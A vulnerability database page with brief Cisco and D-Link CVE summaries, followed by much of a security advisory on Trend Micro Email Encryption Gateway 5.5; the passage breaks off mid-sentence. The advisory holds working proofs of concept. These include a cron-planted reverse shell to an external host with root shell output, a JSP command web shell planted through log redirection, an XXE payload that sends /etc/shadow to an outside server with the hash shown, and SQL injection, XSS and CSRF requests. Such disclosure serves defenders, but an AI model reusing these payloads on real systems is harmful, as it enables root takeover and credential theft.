VARIoT IoT vulnerabilities database

A vulnerability in the Interactive Voice Response (IVR) management connection interface for Cisco Unified Customer Voice Portal (CVP) could allow an unauthenticated, remote attacker to cause the IVR connection to disconnect, creating a system-wide denial of service (DoS) condition. The vulnerability is due to improper handling of a TCP connection request when the IVR connection is already established. An attacker could exploit this vulnerability by initiating a crafted connection to the IP address of the targeted CVP device. An exploit could allow the attacker to disconnect the IVR to CVP connection, creating a DoS condition that prevents the CVP from accepting new, incoming calls while the IVR automatically attempts to re-establish the connection to the CVP. This vulnerability affects Cisco Unified Customer Voice Portal (CVP) Software Release 11.5(1). Cisco Bug IDs: CSCve70560. Vendors have confirmed this vulnerability Bug ID CSCve70560 It is released as.Service operation interruption (DoS) There is a possibility of being put into a state. Successfully exploiting this issue allows remote attackers to cause denial-of-service conditions

A vulnerability in the authentication functionality of the web-based service portal of Cisco Elastic Services Controller Software could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrator privileges on an affected system. The vulnerability is due to improper security restrictions that are imposed by the web-based service portal of the affected software. An attacker could exploit this vulnerability by submitting an empty password value to an affected portal when prompted to enter an administrative password for the portal. A successful exploit could allow the attacker to bypass authentication and gain administrator privileges for the web-based service portal of the affected software. This vulnerability affects Cisco Elastic Services Controller Software Release 3.0.0. Cisco Bug IDs: CSCvg29809. Vendors have confirmed this vulnerability Bug ID CSCvg29809 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. An attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks

A vulnerability in the web-based interface of Cisco Prime Service Catalog could allow an unauthenticated, remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the web-based interface of an affected product. The vulnerability is due to insufficient validation of user-supplied input by the web-based interface. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive browser-based information. Cisco Bug IDs: CSCvh65713. Vendors have confirmed this vulnerability Bug IDs: CSCvh65713 It is released as.Information may be obtained and information may be altered. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. The solution supports automated ordering of a unified service catalog of computing, networking, storage, and other data center resources

A vulnerability in the User Provisioning tab in the Cisco Prime Collaboration Provisioning Tool could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. The vulnerability is due to improper input validation. An attacker could exploit this vulnerability by placing a malicious string in the Prime Collaboration Provisioning database. A successful exploit could allow the attacker to access Cisco Prime Collaboration Provisioning by injecting crafted data into the database. Cisco Bug IDs: CSCvd86609. Vendors have confirmed this vulnerability Bug ID CSCvd86609 It is released as.Information may be obtained and information may be altered. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. The tool provides IP communications services capabilities for IP telephony, voice mail, and unified communications environments. The User Provisioning tab is one of the user provisioning tabs

Cross Site Scripting (XSS) exists on the D-Link DIR-600M C1 3.01 via the SSID or the name of a user account. D-Link DIR-600M C1 Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. D-LinkDIR-600MC1 is a wireless router product of D-Link. A cross-site scripting vulnerability exists in the D-LinkDIR-600MC13.01 release that caused the program to fail to properly filter user-submitted input. A remote attacker can exploit this vulnerability to inject a malicious script with the name of the user's account or the SSID

A vulnerability in the web portal of the Cisco Prime Collaboration Provisioning Tool could allow an unauthenticated, remote attacker to create a denial of service (DoS) condition for individual users. The vulnerability is due to weak login controls. An attacker could exploit this vulnerability by using a brute-force attack (Repeated Bad Login Attempts). A successful exploit could allow the attacker to restrict user access. Manual administrative intervention is required to restore access. Cisco Bug IDs: CSCvd07264. Vendors have confirmed this vulnerability Bug ID CSCvd07264 It is released as.Service operation interruption (DoS) There is a possibility of being put into a state. A remote attacker may exploit this issue to cause a denial-of-service condition; denying service to legitimate users. The tool provides IP communications services capabilities for IP telephony, voice mail, and unified communications environments. Web portal is one of the web portals

A vulnerability in Cisco Jabber Client Framework (JCF) could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of an affected device. The vulnerability is due to improper neutralization of input during web page generation. An attacker could exploit this vulnerability by embedding media in instant messages. An exploit could allow the attacker to cause the recipient chat client to make outbound requests. Cisco Bug IDs: CSCve54001. Vendors have confirmed this vulnerability Bug ID CSCve54001 It is released as.Information may be obtained and information may be altered. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. The framework provides online status display, instant messaging, voice and other functions

A vulnerability in Cisco Jabber Client Framework (JCF) could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of an affected device. The vulnerability is due to improper neutralization of script in attributes in a web page. An attacker could exploit this vulnerability by executing arbitrary JavaScript in the Jabber client of the recipient. An exploit could allow the attacker to perform remote code execution. Cisco Bug IDs: CSCve53989. Vendors have confirmed this vulnerability Bug ID CSCve53989 It is released as.Information may be obtained and information may be altered. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. The framework provides online status display, instant messaging, voice and other functions

A vulnerability in the SMTP relay of Cisco Unity Connection could allow an unauthenticated, remote attacker to send unsolicited email messages, aka a Mail Relay Vulnerability. The vulnerability is due to improper handling of domain information in the affected software. An unauthenticated, remote attacker could exploit this vulnerability by sending crafted requests to the targeted application. A successful exploit could allow the attacker to send email messages to arbitrary addresses. Cisco Bug IDs: CSCvg62215. Cisco Unity Connection Contains a data processing vulnerability. Vendors have confirmed this vulnerability Bug ID CSCvg62215 It is released as.Information may be tampered with. Attackers can exploit this issue to perform unauthorized actions. This may lead to further attacks. Cisco Unity Connection (UC) is a set of voice message platform of Cisco (Cisco). The platform can use voice commands to make calls or listen to messages "hands-free". SMTP relay is one of the mail relay components. There is a security vulnerability in the SMTP relay in Cisco UC, which is caused by the program not processing domain information correctly

A vulnerability in the web-based management interface of Cisco Unified Communications Manager could allow an unauthenticated, remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the web-based management interface of an affected device. The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of an affected device. An attacker could exploit this vulnerability by persuading a user of the web-based management interface to click a link that submits malicious input to the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive browser-based information. Cisco Bug IDs: CSCvg74815. Vendors have confirmed this vulnerability Bug ID CSCvg74815 It is released as.Information may be obtained and information may be altered. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

A SQL injection vulnerability in a Trend Micro Email Encryption Gateway 5.5 policy script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Policy scripts in TMEEG 5.5 Build 1111 and earlier versions have SQL injection vulnerabilities. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. This enables easy integration with other email server-based products, be them content scanners, mail servers, or archiving solutions." Multiple vulnerabilities were found in the Trend Micro Email Encryption Gateway web console that would allow a remote unauthenticated attacker to gain command execution as root. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will 